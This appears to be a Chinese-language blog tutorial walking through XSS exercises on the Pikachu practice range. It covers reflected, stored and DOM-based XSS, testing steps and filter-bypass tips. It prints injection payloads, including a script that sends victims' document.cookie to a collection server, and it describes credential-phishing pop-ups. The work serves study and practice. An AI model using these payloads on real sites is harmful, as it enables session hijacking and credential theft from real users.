頹廢了幾天,該好好努力了。
XSS概述
XSS漏洞是web漏洞中危害較大的漏洞,是一種發生在web前端的漏洞,所以危害的對象也主要是前端用戶,XSS可以用來進行釣魚攻擊,前端js挖礦,獲取用戶cookie。甚至可以結合瀏覽器自身的漏洞對用戶主機進行遠程控制等。
XSS漏洞的常見類型
1.反射型,交互的數據一般不會存在在數據庫里面,一次性,所見即所得,一般出現在查詢類頁面等。
2.存儲型交互的數據會被存在數據庫里面,永久性存儲,一般出現在留言板,注冊等頁面。
3.DOM型不與后台服務器產生數據交互,是一種通過DOM操作前端代碼輸出的時候產生的問題,一次性,也屬於反射型。
XSS漏洞形成的原因
形成XSS漏洞的主要原因是程序對輸入和輸出的控制不夠嚴格,導致”精心構造”的腳本輸入后,再輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害
XSS漏洞測試流程
1, 在目標站點上找到輸入點,比如查詢接口,留言板等
2, 輸入一組“特殊字符+唯一識別字符”,點擊提交后,查看返回的源碼,是否有做對應的處理
3, 通過搜索定位到唯一字符,結合唯一字符前后的語法確認是否可以構造執行js的條件(構造閉合)
4, 提交構造的腳本代碼,看是否可以成功執行,如果成功執行則說明純在XSS漏洞
Tips:
- 一般查詢接口容易出現反射型XSS,留言板容易出現存儲型XSS
- 由於后台可能存在過濾措施,構造的script可能會被過濾掉,而無法生效,或者環境限制了執行(瀏覽器);
- 通過變化不同的script,嘗試繞過后台過濾機制
下面開始靶場的練習
反射型XSS(get)
按照我們的測試流程,先輸入一些可能會被過濾的字符和唯一字符


我們查看一下源代碼

通過查找發現我們的唯一字符
發現沒有任何的過濾,那么我們就可以構造一個xss的彈窗(不僅限於彈窗,這里只是做演示)
<script>alert('xss')</script>

發現前端限制了我們的輸入長度
我們可以在開發者工具中進行修改

這樣我們就可以插入我們的payload了

存儲型XSS

一般都是在留言板內,把內容保存在數據庫,這樣每次訪問這個頁面就會觸發xss
這個不多說,和反射型就這個區別
DOM型XSS


定義一個str來接收id為text的值
然后再把str寫進a標簽里面給了id為dom的div
這樣我們可以構造把a標簽添加屬性的xss
' onclick = "alert('xss')">
給a標簽一個單擊的屬性,里面寫入xss代碼
dom型xss-x
其實也是一樣的

window.location.search獲取url?后面的部分
然后進行url解碼
獲取text后面的內容
然后再發送給讓往事都隨風吧
' onclick = "alert('xss')">
當我們點擊這句話的時候也一樣會觸發我們的xss代碼
get型XSS獲取cookie
pikachu有自帶的XSS測試平台

配置登陸以后
進入cookie收集
目前當我們還沒有進行測試的時候,是為空的,
當我們構造一個xss代碼
<script>document.location = ‘http://10.2.10.35/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
跳轉到我們接收cookie的頁面,並且把cookie帶入,構成一個完整的get請求
查看cookie.php文件,

這里改成你想要跳轉的頁面,偽造出你這個頁面沒問題
之后我們就可以把構造好的頁面發送給別人
讓別人點擊以后查看效果

反射型xss(post)
我個人的理解是,在被攻擊的用戶打開某個存在xss漏洞的頁面的時候,在已經登陸的狀態下又點開了攻擊者發來的鏈接,鏈接給存在xss漏洞的頁面提交了post請求,JS獲取到了cookie然后返回到攻擊者的接口
首先先看靶場

通過提示我們知道賬號密碼是admin/123456
XSS釣魚攻擊(存儲型XSS)
當打開我們帶有釣魚xss的網頁時,會彈出一個進行身份驗證的窗口,讓你輸入賬號密碼,賬號密碼就會發往我們的XSS后台
